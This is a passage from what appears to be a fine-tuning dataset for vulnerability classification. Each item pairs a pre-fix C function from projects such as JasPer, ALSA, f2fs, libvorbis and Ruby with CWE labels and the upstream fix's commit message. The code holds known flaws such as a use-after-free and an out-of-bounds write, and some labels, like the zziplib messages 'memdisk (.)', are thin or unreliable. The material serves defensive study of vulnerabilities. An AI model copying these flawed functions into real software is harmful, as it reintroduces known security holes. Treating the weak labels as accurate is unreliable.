rest of the sector is zeroed, and that the\n * rest after that has the 'bad block' notation.\n */\n if(data && (af->image_pagesize > af->image_sectorsize)){\n\tconst int SECTOR_SIZE = af->image_sectorsize;\t// for ease of typing\n\tsize_t bytes_left_in_sector = (SECTOR_SIZE - (*bytes % SECTOR_SIZE)) % SECTOR_SIZE;\n\tfor(size_t i=0;iimage_pagesize-SECTOR_SIZE; i+=SECTOR_SIZE){\n\t memcpy(data+i,af->badflag,SECTOR_SIZE);\n\t af->bytes_memcpy += SECTOR_SIZE;\n\t}\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-295'], 'message': 'Sanity check size passed to malloc...\n\nAdd sanity check before calling malloc in af_get_page() function to\navoid undefined behavior (e.g., seg fault) when dealing with a corrupt\nAFF image with an invalid pagesize.\n\nIssue found by Luis Rocha (luiscrocha@gmail.com).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: zzip_mem_disk_findfirst(ZZIP_MEM_DISK* dir) {\n return zzip_disk_findfirst(dir->disk); } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'memdisk\n (.)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: zzip_mem_disk_findmatch(ZZIP_MEM_DISK* dir, \n char* filespec, ZZIP_DISK_ENTRY* after,\n\t\t\tzzip_fnmatch_fn_t compare, int flags) {\n return zzip_disk_findmatch(dir->disk, filespec, after, compare, flags); } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'memdisk\n (.)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: long vorbis_book_decodevv_add(codebook *book,float **a,long offset,int ch,\n oggpack_buffer *b,int n){\n\n long i,j,entry;\n int chptr=0;\n if(book->used_entries>0){\n for(i=offset/ch;i<(offset+n)/ch;){\n entry = decode_packed_entry_number(book,b);\n if(entry==-1)return(-1);\n {\n const float *t = book->valuelist+entry*book->dim;\n for (j=0;jdim;j++){\n a[chptr++][i]+=t[j];\n if(chptr==ch){\n chptr=0;\n i++;\n }\n }\n }\n }\n }\n return(0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2018-5146: Prevent out-of-bounds write in codebook decoding.\n\nCodebooks that are not an exact divisor of the partition size are now\ntruncated to fit within the partition.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void sas_init_disc(struct sas_discovery *disc, struct asd_sas_port *port)\n{\n\tint i;\n\n\tstatic const work_func_t sas_event_fns[DISC_NUM_EVENTS] = {\n\t\t[DISCE_DISCOVER_DOMAIN] = sas_discover_domain,\n\t\t[DISCE_REVALIDATE_DOMAIN] = sas_revalidate_domain,\n\t\t[DISCE_PROBE] = sas_probe_devices,\n\t\t[DISCE_SUSPEND] = sas_suspend_devices,\n\t\t[DISCE_RESUME] = sas_resume_devices,\n\t\t[DISCE_DESTRUCT] = sas_destruct_devices,\n\t};\n\n\tdisc->pending = 0;\n\tfor (i = 0; i < DISC_NUM_EVENTS; i++) {\n\t\tINIT_SAS_WORK(&disc->disc_work[i].work, sas_event_fns[i]);\n\t\tdisc->disc_work[i].port = port;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284'], 'message': 'scsi: libsas: direct call probe and destruct\n\nIn commit 87c8331fcf72 (\"[SCSI] libsas: prevent domain rediscovery\ncompeting with ata error handling\") introduced disco mutex to prevent\nrediscovery competing with ata error handling and put the whole\nrevalidation in the mutex. But the rphy add/remove needs to wait for the\nerror handling which also grabs the disco mutex. This may leads to dead\nlock.So the probe and destruct event were introduce to do the rphy\nadd/remove asynchronously and out of the lock.\n\nThe asynchronously processed workers makes the whole discovery process\nnot atomic, the other events may interrupt the process. For example,\nif a loss of signal event inserted before the probe event, the\nsas_deform_port() is called and the port will be deleted.\n\nAnd sas_port_delete() may run before the destruct event, but the\nport-x:x is the top parent of end device or expander. This leads to\na kernel WARNING such as:\n\n[ 82.042979] sysfs group 'power' not found for kobject 'phy-1:0:22'\n[ 82.042983] ------------[ cut here ]------------\n[ 82.042986] WARNING: CPU: 54 PID: 1714 at fs/sysfs/group.c:237\nsysfs_remove_group+0x94/0xa0\n[ 82.043059] Call trace:\n[ 82.043082] [] sysfs_remove_group+0x94/0xa0\n[ 82.043085] [] dpm_sysfs_remove+0x60/0x70\n[ 82.043086] [] device_del+0x138/0x308\n[ 82.043089] [] sas_phy_delete+0x38/0x60\n[ 82.043091] [] do_sas_phy_delete+0x6c/0x80\n[ 82.043093] [] device_for_each_child+0x58/0xa0\n[ 82.043095] [] sas_remove_children+0x40/0x50\n[ 82.043100] [] sas_destruct_devices+0x64/0xa0\n[ 82.043102] [] process_one_work+0x1fc/0x4b0\n[ 82.043104] [] worker_thread+0x50/0x490\n[ 82.043105] [] kthread+0xfc/0x128\n[ 82.043107] [] ret_from_fork+0x10/0x50\n\nMake probe and destruct a direct call in the disco and revalidate function,\nbut put them outside the lock. The whole discovery or revalidate won't\nbe interrupted by other events. And the DISCE_PROBE and DISCE_DESTRUCT\nevent are deleted as a result of the direct call.\n\nIntroduce a new list to destruct the sas_port and put the port delete after\nthe destruct. This makes sure the right order of destroying the sysfs\nkobject and fix the warning above.\n\nIn sas_ex_revalidate_domain() have a loop to find all broadcasted\ndevice, and sometimes we have a chance to find the same expander twice.\nBecause the sas_port will be deleted at the end of the whole revalidate\nprocess, sas_port with the same name cannot be added before this.\nOtherwise the sysfs will complain of creating duplicate filename. Since\nthe LLDD will send broadcast for every device change, we can only\nprocess one expander's revalidation.\n\n[mkp: kbuild test robot warning]\n\nSigned-off-by: Jason Yan \nCC: John Garry \nCC: Johannes Thumshirn \nCC: Ewan Milne \nCC: Christoph Hellwig \nCC: Tomas Henzl \nCC: Dan Williams \nReviewed-by: Hannes Reinecke \nSigned-off-by: Martin K. Petersen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int build_segment_manager(struct f2fs_sb_info *sbi)\n{\n\tstruct f2fs_super_block *raw_super = F2FS_RAW_SUPER(sbi);\n\tstruct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi);\n\tstruct f2fs_sm_info *sm_info;\n\tint err;\n\n\tsm_info = kzalloc(sizeof(struct f2fs_sm_info), GFP_KERNEL);\n\tif (!sm_info)\n\t\treturn -ENOMEM;\n\n\t/* init sm info */\n\tsbi->sm_info = sm_info;\n\tsm_info->seg0_blkaddr = le32_to_cpu(raw_super->segment0_blkaddr);\n\tsm_info->main_blkaddr = le32_to_cpu(raw_super->main_blkaddr);\n\tsm_info->segment_count = le32_to_cpu(raw_super->segment_count);\n\tsm_info->reserved_segments = le32_to_cpu(ckpt->rsvd_segment_count);\n\tsm_info->ovp_segments = le32_to_cpu(ckpt->overprov_segment_count);\n\tsm_info->main_segments = le32_to_cpu(raw_super->segment_count_main);\n\tsm_info->ssa_blkaddr = le32_to_cpu(raw_super->ssa_blkaddr);\n\tsm_info->rec_prefree_segments = sm_info->main_segments *\n\t\t\t\t\tDEF_RECLAIM_PREFREE_SEGMENTS / 100;\n\tif (sm_info->rec_prefree_segments > DEF_MAX_RECLAIM_PREFREE_SEGMENTS)\n\t\tsm_info->rec_prefree_segments = DEF_MAX_RECLAIM_PREFREE_SEGMENTS;\n\n\tif (!test_opt(sbi, LFS))\n\t\tsm_info->ipu_policy = 1 << F2FS_IPU_FSYNC;\n\tsm_info->min_ipu_util = DEF_MIN_IPU_UTIL;\n\tsm_info->min_fsync_blocks = DEF_MIN_FSYNC_BLOCKS;\n\tsm_info->min_hot_blocks = DEF_MIN_HOT_BLOCKS;\n\n\tsm_info->trim_sections = DEF_BATCHED_TRIM_SECTIONS;\n\n\tINIT_LIST_HEAD(&sm_info->sit_entry_set);\n\n\tif (test_opt(sbi, FLUSH_MERGE) && !f2fs_readonly(sbi->sb)) {\n\t\terr = create_flush_cmd_control(sbi);\n\t\tif (err)\n\t\t\treturn err;\n\t}\n\n\terr = create_discard_cmd_control(sbi);\n\tif (err)\n\t\treturn err;\n\n\terr = build_sit_info(sbi);\n\tif (err)\n\t\treturn err;\n\terr = build_free_segmap(sbi);\n\tif (err)\n\t\treturn err;\n\terr = build_curseg(sbi);\n\tif (err)\n\t\treturn err;\n\n\t/* reinit free segmap based on SIT */\n\tbuild_sit_entries(sbi);\n\n\tinit_free_segmap(sbi);\n\terr = build_dirty_segmap(sbi);\n\tif (err)\n\t\treturn err;\n\n\tinit_min_max_mtime(sbi);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200', 'CWE-476'], 'message': 'f2fs: fix a panic caused by NULL flush_cmd_control\n\nMount fs with option noflush_merge, boot failed for illegal address\nfcc in function f2fs_issue_flush:\n\n if (!test_opt(sbi, FLUSH_MERGE)) {\n ret = submit_flush_wait(sbi);\n atomic_inc(&fcc->issued_flush); -> Here, fcc illegal\n return ret;\n }\n\nSigned-off-by: Yunlei He \nSigned-off-by: Jaegeuk Kim '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int jpc_enc_enccblks(jpc_enc_t *enc)\n{\n\tjpc_enc_tcmpt_t *tcmpt;\n\tjpc_enc_tcmpt_t *endcomps;\n\tjpc_enc_rlvl_t *lvl;\n\tjpc_enc_rlvl_t *endlvls;\n\tjpc_enc_band_t *band;\n\tjpc_enc_band_t *endbands;\n\tjpc_enc_cblk_t *cblk;\n\tjpc_enc_cblk_t *endcblks;\n\tint i;\n\tint j;\n\tjpc_fix_t mx;\n\tjpc_fix_t bmx;\n\tjpc_fix_t v;\n\tjpc_enc_tile_t *tile;\n\tuint_fast32_t prcno;\n\tjpc_enc_prc_t *prc;\n\n\ttile = enc->curtile;\n\n\tendcomps = &tile->tcmpts[tile->numtcmpts];\n\tfor (tcmpt = tile->tcmpts; tcmpt != endcomps; ++tcmpt) {\n\t\tendlvls = &tcmpt->rlvls[tcmpt->numrlvls];\n\t\tfor (lvl = tcmpt->rlvls; lvl != endlvls; ++lvl) {\n\t\t\tif (!lvl->bands) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tendbands = &lvl->bands[lvl->numbands];\n\t\t\tfor (band = lvl->bands; band != endbands; ++band) {\n\t\t\t\tif (!band->data) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tfor (prcno = 0, prc = band->prcs; prcno < lvl->numprcs; ++prcno, ++prc) {\n\t\t\t\t\tif (!prc->cblks) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tbmx = 0;\n\t\t\t\t\tendcblks = &prc->cblks[prc->numcblks];\n\t\t\t\t\tfor (cblk = prc->cblks; cblk != endcblks; ++cblk) {\n\t\t\t\t\t\tmx = 0;\n\t\t\t\t\t\tfor (i = 0; i < jas_matrix_numrows(cblk->data); ++i) {\n\t\t\t\t\t\t\tfor (j = 0; j < jas_matrix_numcols(cblk->data); ++j) {\n\t\t\t\t\t\t\t\tv = JAS_ABS(jas_matrix_get(cblk->data, i, j));\n\t\t\t\t\t\t\t\tif (v > mx) {\n\t\t\t\t\t\t\t\t\tmx = v;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (mx > bmx) {\n\t\t\t\t\t\t\tbmx = mx;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcblk->numbps = JAS_MAX(jpc_firstone(mx) + 1 - JPC_NUMEXTRABITS, 0);\n\t\t\t\t\t}\n\n\t\t\t\t\tfor (cblk = prc->cblks; cblk != endcblks; ++cblk) {\n\t\t\t\t\t\tcblk->numimsbs = band->numbps - cblk->numbps;\n\t\t\t\t\t\tassert(cblk->numimsbs >= 0);\n\t\t\t\t\t}\n\n\t\t\t\t\tfor (cblk = prc->cblks; cblk != endcblks; ++cblk) {\n\t\t\t\t\t\tif (jpc_enc_enccblk(enc, cblk->stream, tcmpt, band, cblk)) {\n\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'jpc_math: split jpc_firstone() in int/jpc_fix_t overloads\n\nFixes CVE-2018-9055 (denial of service via a reachable assertion due\nto integer overflow).\n\nBased on a patch from Fridrich Strba . Instead of\nswitching to `int_fast32_t`, this patch splits jpc_firstone() into two\noverloads, one for `int` and one for `jpc_fix_t`. This is safer\nagainst future changes on `jpc_fix_t`. To avoid the overhead of 64\nbit integer math on 32 bit CPUs, this leaves the `int` overload\naround.\n\nCloses https://github.com/jasper-maint/jasper/issues/9'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: rb_dir_s_empty_p(VALUE obj, VALUE dirname)\n{\n VALUE result, orig;\n const char *path;\n enum {false_on_notdir = 1};\n\n GlobPathValue(dirname, FALSE);\n orig = rb_str_dup_frozen(dirname);\n dirname = rb_str_encode_ospath(dirname);\n dirname = rb_str_dup_frozen(dirname);\n path = RSTRING_PTR(dirname);\n\n#if defined HAVE_GETATTRLIST && defined ATTR_DIR_ENTRYCOUNT\n {\n\tu_int32_t attrbuf[SIZEUP32(fsobj_tag_t)];\n\tstruct attrlist al = {ATTR_BIT_MAP_COUNT, 0, ATTR_CMN_OBJTAG,};\n\tif (getattrlist(path, &al, attrbuf, sizeof(attrbuf), 0) != 0)\n\t rb_sys_fail_path(orig);\n\tif (*(const fsobj_tag_t *)(attrbuf+1) == VT_HFS) {\n\t al.commonattr = 0;\n\t al.dirattr = ATTR_DIR_ENTRYCOUNT;\n\t if (getattrlist(path, &al, attrbuf, sizeof(attrbuf), 0) == 0) {\n\t\tif (attrbuf[0] >= 2 * sizeof(u_int32_t))\n\t\t return attrbuf[1] ? Qfalse : Qtrue;\n\t\tif (false_on_notdir) return Qfalse;\n\t }\n\t rb_sys_fail_path(orig);\n\t}\n }\n#endif\n\n result = (VALUE)rb_thread_call_without_gvl(nogvl_dir_empty_p, (void *)path,\n\t\t\t\t\t RUBY_UBF_IO, 0);\n if (result == Qundef) {\n\trb_sys_fail_path(orig);\n }\n return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': 'dir.c: check NUL bytes\n\n* dir.c (GlobPathValue): should be used in rb_push_glob only.\n other methods should use FilePathValue.\n https://hackerone.com/reports/302338\n\n* dir.c (rb_push_glob): expand GlobPathValue\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@62989 b2dd03c8-39d4-4d8f-98ff-823fe69b080e'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int snd_pcm_control_ioctl(struct snd_card *card,\n\t\t\t\t struct snd_ctl_file *control,\n\t\t\t\t unsigned int cmd, unsigned long arg)\n{\n\tswitch (cmd) {\n\tcase SNDRV_CTL_IOCTL_PCM_NEXT_DEVICE:\n\t\t{\n\t\t\tint device;\n\n\t\t\tif (get_user(device, (int __user *)arg))\n\t\t\t\treturn -EFAULT;\n\t\t\tmutex_lock(®ister_mutex);\n\t\t\tdevice = snd_pcm_next(card, device);\n\t\t\tmutex_unlock(®ister_mutex);\n\t\t\tif (put_user(device, (int __user *)arg))\n\t\t\t\treturn -EFAULT;\n\t\t\treturn 0;\n\t\t}\n\tcase SNDRV_CTL_IOCTL_PCM_INFO:\n\t\t{\n\t\t\tstruct snd_pcm_info __user *info;\n\t\t\tunsigned int device, subdevice;\n\t\t\tint stream;\n\t\t\tstruct snd_pcm *pcm;\n\t\t\tstruct snd_pcm_str *pstr;\n\t\t\tstruct snd_pcm_substream *substream;\n\t\t\tint err;\n\n\t\t\tinfo = (struct snd_pcm_info __user *)arg;\n\t\t\tif (get_user(device, &info->device))\n\t\t\t\treturn -EFAULT;\n\t\t\tif (get_user(stream, &info->stream))\n\t\t\t\treturn -EFAULT;\n\t\t\tif (stream < 0 || stream > 1)\n\t\t\t\treturn -EINVAL;\n\t\t\tif (get_user(subdevice, &info->subdevice))\n\t\t\t\treturn -EFAULT;\n\t\t\tmutex_lock(®ister_mutex);\n\t\t\tpcm = snd_pcm_get(card, device);\n\t\t\tif (pcm == NULL) {\n\t\t\t\terr = -ENXIO;\n\t\t\t\tgoto _error;\n\t\t\t}\n\t\t\tpstr = &pcm->streams[stream];\n\t\t\tif (pstr->substream_count == 0) {\n\t\t\t\terr = -ENOENT;\n\t\t\t\tgoto _error;\n\t\t\t}\n\t\t\tif (subdevice >= pstr->substream_count) {\n\t\t\t\terr = -ENXIO;\n\t\t\t\tgoto _error;\n\t\t\t}\n\t\t\tfor (substream = pstr->substream; substream;\n\t\t\t substream = substream->next)\n\t\t\t\tif (substream->number == (int)subdevice)\n\t\t\t\t\tbreak;\n\t\t\tif (substream == NULL) {\n\t\t\t\terr = -ENXIO;\n\t\t\t\tgoto _error;\n\t\t\t}\n\t\t\terr = snd_pcm_info_user(substream, info);\n\t\t_error:\n\t\t\tmutex_unlock(®ister_mutex);\n\t\t\treturn err;\n\t\t}\n\tcase SNDRV_CTL_IOCTL_PCM_PREFER_SUBDEVICE:\n\t\t{\n\t\t\tint val;\n\t\t\t\n\t\t\tif (get_user(val, (int __user *)arg))\n\t\t\t\treturn -EFAULT;\n\t\t\tcontrol->preferred_subdevice[SND_CTL_SUBDEV_PCM] = val;\n\t\t\treturn 0;\n\t\t}\n\t}\n\treturn -ENOIOCTLCMD;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'ALSA: pcm: prevent UAF in snd_pcm_info\n\nWhen the device descriptor is closed, the `substream->runtime` pointer\nis freed. But another thread may be in the ioctl handler, case\nSNDRV_CTL_IOCTL_PCM_INFO. This case calls snd_pcm_info_user() which\ncalls snd_pcm_info() which accesses the now freed `substream->runtime`.\n\nNote: this fixes CVE-2017-0861\n\nSigned-off-by: Robb Glasser \nSigned-off-by: Nick Desaulniers \nCc: \nSigned-off-by: Takashi Iwai '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int jpc_enc_encodemainbody(jpc_enc_t *enc)\n{\n\tint tileno;\n\tint tilex;\n\tint tiley;\n\tint i;\n\tjpc_sot_t *sot;\n\tjpc_enc_tcmpt_t *comp;\n\tjpc_enc_tcmpt_t *endcomps;\n\tjpc_enc_band_t *band;\n\tjpc_enc_band_t *endbands;\n\tjpc_enc_rlvl_t *lvl;\n\tint rlvlno;\n\tjpc_qcc_t *qcc;\n\tjpc_cod_t *cod;\n\tint adjust;\n\tint j;\n\tint absbandno;\n\tlong numbytes;\n\tlong tilehdrlen;\n\tlong tilelen;\n\tjpc_enc_tile_t *tile;\n\tjpc_enc_cp_t *cp;\n\tdouble rho;\n\tint lyrno;\n\tint cmptno;\n\tint samestepsizes;\n\tjpc_enc_ccp_t *ccps;\n\tjpc_enc_tccp_t *tccp;\n\tint bandno;\n\tuint_fast32_t x;\n\tuint_fast32_t y;\n\tint mingbits;\n\tint actualnumbps;\n\tjpc_fix_t mxmag;\n\tjpc_fix_t mag;\n\tint numgbits;\n\n\tcp = enc->cp;\n\n\t/* Avoid compile warnings. */\n\tnumbytes = 0;\n\n\tfor (tileno = 0; tileno < JAS_CAST(int, cp->numtiles); ++tileno) {\n\t\ttilex = tileno % cp->numhtiles;\n\t\ttiley = tileno / cp->numhtiles;\n\n\t\tif (!(enc->curtile = jpc_enc_tile_create(enc->cp, enc->image,\n\t\t tileno))) {\n\t\t\tjas_eprintf(\"cannot create tile\\n\");\n\t\t\treturn -1;\n\t\t}\n\n\t\ttile = enc->curtile;\n\n\t\tif (jas_getdbglevel() >= 10) {\n\t\t\tjpc_enc_dump(enc);\n\t\t}\n\n\t\tendcomps = &tile->tcmpts[tile->numtcmpts];\n\t\tfor (cmptno = 0, comp = tile->tcmpts; cmptno < tile->numtcmpts; ++cmptno, ++comp) {\n\t\t\tif (!cp->ccps[cmptno].sgnd) {\n\t\t\t\tadjust = 1 << (cp->ccps[cmptno].prec - 1);\n\t\t\t\tfor (i = 0; i < jas_matrix_numrows(comp->data); ++i) {\n\t\t\t\t\tfor (j = 0; j < jas_matrix_numcols(comp->data); ++j) {\n\t\t\t\t\t\t*jas_matrix_getref(comp->data, i, j) -= adjust;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!tile->intmode) {\n\t\t\t\tendcomps = &tile->tcmpts[tile->numtcmpts];\n\t\t\t\tfor (comp = tile->tcmpts; comp != endcomps; ++comp) {\n\t\t\t\t\tjas_matrix_asl(comp->data, JPC_FIX_FRACBITS);\n\t\t\t\t}\n\t\t}\n\n\t\tswitch (tile->mctid) {\n\t\tcase JPC_MCT_RCT:\nassert(jas_image_numcmpts(enc->image) == 3);\n\t\t\tjpc_rct(tile->tcmpts[0].data, tile->tcmpts[1].data,\n\t\t\t tile->tcmpts[2].data);\n\t\t\tbreak;\n\t\tcase JPC_MCT_ICT:\nassert(jas_image_numcmpts(enc->image) == 3);\n\t\t\tjpc_ict(tile->tcmpts[0].data, tile->tcmpts[1].data,\n\t\t\t tile->tcmpts[2].data);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t\tfor (i = 0; i < jas_image_numcmpts(enc->image); ++i) {\n\t\t\tcomp = &tile->tcmpts[i];\n\t\t\tjpc_tsfb_analyze(comp->tsfb, comp->data);\n\n\t\t}\n\n\n\t\tendcomps = &tile->tcmpts[tile->numtcmpts];\n\t\tfor (cmptno = 0, comp = tile->tcmpts; comp != endcomps; ++cmptno, ++comp) {\n\t\t\tmingbits = 0;\n\t\t\tabsbandno = 0;\n\t\t\t/* All bands must have a corresponding quantizer step size,\n\t\t\t even if they contain no samples and are never coded. */\n\t\t\t/* Some bands may not be hit by the loop below, so we must\n\t\t\t initialize all of the step sizes to a sane value. */\n\t\t\tmemset(comp->stepsizes, 0, sizeof(comp->stepsizes));\n\t\t\tfor (rlvlno = 0, lvl = comp->rlvls; rlvlno < comp->numrlvls; ++rlvlno, ++lvl) {\n\t\t\t\tif (!lvl->bands) {\n\t\t\t\t\tabsbandno += rlvlno ? 3 : 1;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tendbands = &lvl->bands[lvl->numbands];\n\t\t\t\tfor (band = lvl->bands; band != endbands; ++band) {\n\t\t\t\t\tif (!band->data) {\n\t\t\t\t\t\t++absbandno;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tactualnumbps = 0;\n\t\t\t\t\tmxmag = 0;\n\t\t\t\t\tfor (y = 0; y < JAS_CAST(uint_fast32_t, jas_matrix_numrows(band->data)); ++y) {\n\t\t\t\t\t\tfor (x = 0; x < JAS_CAST(uint_fast32_t, jas_matrix_numcols(band->data)); ++x) {\n\t\t\t\t\t\t\tmag = JAS_ABS(jas_matrix_get(band->data, y, x));\n\t\t\t\t\t\t\tif (mag > mxmag) {\n\t\t\t\t\t\t\t\tmxmag = mag;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (tile->intmode) {\n\t\t\t\t\t\tactualnumbps = jpc_fix_firstone(mxmag) + 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tactualnumbps = jpc_fix_firstone(mxmag) + 1 - JPC_FIX_FRACBITS;\n\t\t\t\t\t}\n\t\t\t\t\tnumgbits = actualnumbps - (cp->ccps[cmptno].prec - 1 +\n\t\t\t\t\t band->analgain);\n#if 0\njas_eprintf(\"%d %d mag=%d actual=%d numgbits=%d\\n\", cp->ccps[cmptno].prec, band->analgain, mxmag, actualnumbps, numgbits);\n#endif\n\t\t\t\t\tif (numgbits > mingbits) {\n\t\t\t\t\t\tmingbits = numgbits;\n\t\t\t\t\t}\n\t\t\t\t\tif (!tile->intmode) {\n\t\t\t\t\t\tband->absstepsize = jpc_fix_div(jpc_inttofix(1\n\t\t\t\t\t\t << (band->analgain + 1)),\n\t\t\t\t\t\t band->synweight);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tband->absstepsize = jpc_inttofix(1);\n\t\t\t\t\t}\n\t\t\t\t\tband->stepsize = jpc_abstorelstepsize(\n\t\t\t\t\t band->absstepsize, cp->ccps[cmptno].prec +\n\t\t\t\t\t band->analgain);\n\t\t\t\t\tband->numbps = cp->tccp.numgbits +\n\t\t\t\t\t JPC_QCX_GETEXPN(band->stepsize) - 1;\n\n\t\t\t\t\tif ((!tile->intmode) && band->data) {\n\t\t\t\t\t\tjpc_quantize(band->data, band->absstepsize);\n\t\t\t\t\t}\n\n\t\t\t\t\tcomp->stepsizes[absbandno] = band->stepsize;\n\t\t\t\t\t++absbandno;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tassert(JPC_FIX_FRACBITS >= JPC_NUMEXTRABITS);\n\t\t\tif (!tile->intmode) {\n\t\t\t\tjas_matrix_divpow2(comp->data, JPC_FIX_FRACBITS - JPC_NUMEXTRABITS);\n\t\t\t} else {\n\t\t\t\tjas_matrix_asl(comp->data, JPC_NUMEXTRABITS);\n\t\t\t}\n\n#if 0\njas_eprintf(\"mingbits %d\\n\", mingbits);\n#endif\n\t\t\tif (mingbits > cp->tccp.numgbits) {\n\t\t\t\tjas_eprintf(\"error: too few guard bits (need at least %d)\\n\",\n\t\t\t\t mingbits);\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\tif (!(enc->tmpstream = jas_stream_memopen(0, 0))) {\n\t\t\tjas_eprintf(\"cannot open tmp file\\n\");\n\t\t\treturn -1;\n\t\t}\n\n\t\t/* Write the tile header. */\n\t\tif (!(enc->mrk = jpc_ms_create(JPC_MS_SOT))) {\n\t\t\treturn -1;\n\t\t}\n\t\tsot = &enc->mrk->parms.sot;\n\t\tsot->len = 0;\n\t\tsot->tileno = tileno;\n\t\tsot->partno = 0;\n\t\tsot->numparts = 1;\n\t\tif (jpc_putms(enc->tmpstream, enc->cstate, enc->mrk)) {\n\t\t\tjas_eprintf(\"cannot write SOT marker\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tjpc_ms_destroy(enc->mrk);\n\t\tenc->mrk = 0;\n\n/************************************************************************/\n/************************************************************************/\n/************************************************************************/\n\n\t\ttccp = &cp->tccp;\n\t\tfor (cmptno = 0; cmptno < JAS_CAST(int, cp->numcmpts); ++cmptno) {\n\t\t\tcomp = &tile->tcmpts[cmptno];\n\t\t\tif (comp->numrlvls != tccp->maxrlvls) {\n\t\t\t\tif (!(enc->mrk = jpc_ms_create(JPC_MS_COD))) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n/* XXX = this is not really correct. we are using comp #0's precint sizes\nand other characteristics */\n\t\t\t\tcomp = &tile->tcmpts[0];\n\t\t\t\tcod = &enc->mrk->parms.cod;\n\t\t\t\tcod->compparms.csty = 0;\n\t\t\t\tcod->compparms.numdlvls = comp->numrlvls - 1;\n\t\t\t\tcod->prg = tile->prg;\n\t\t\t\tcod->numlyrs = tile->numlyrs;\n\t\t\t\tcod->compparms.cblkwidthval = JPC_COX_CBLKSIZEEXPN(comp->cblkwidthexpn);\n\t\t\t\tcod->compparms.cblkheightval = JPC_COX_CBLKSIZEEXPN(comp->cblkheightexpn);\n\t\t\t\tcod->compparms.cblksty = comp->cblksty;\n\t\t\t\tcod->compparms.qmfbid = comp->qmfbid;\n\t\t\t\tcod->mctrans = (tile->mctid != JPC_MCT_NONE);\n\t\t\t\tfor (i = 0; i < comp->numrlvls; ++i) {\n\t\t\t\t\tcod->compparms.rlvls[i].parwidthval = comp->rlvls[i].prcwidthexpn;\n\t\t\t\t\tcod->compparms.rlvls[i].parheightval = comp->rlvls[i].prcheightexpn;\n\t\t\t\t}\n\t\t\t\tif (jpc_putms(enc->tmpstream, enc->cstate, enc->mrk)) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\tjpc_ms_destroy(enc->mrk);\n\t\t\t\tenc->mrk = 0;\n\t\t\t}\n\t\t}\n\n\t\tfor (cmptno = 0, comp = tile->tcmpts; cmptno < JAS_CAST(int,\n\t\t 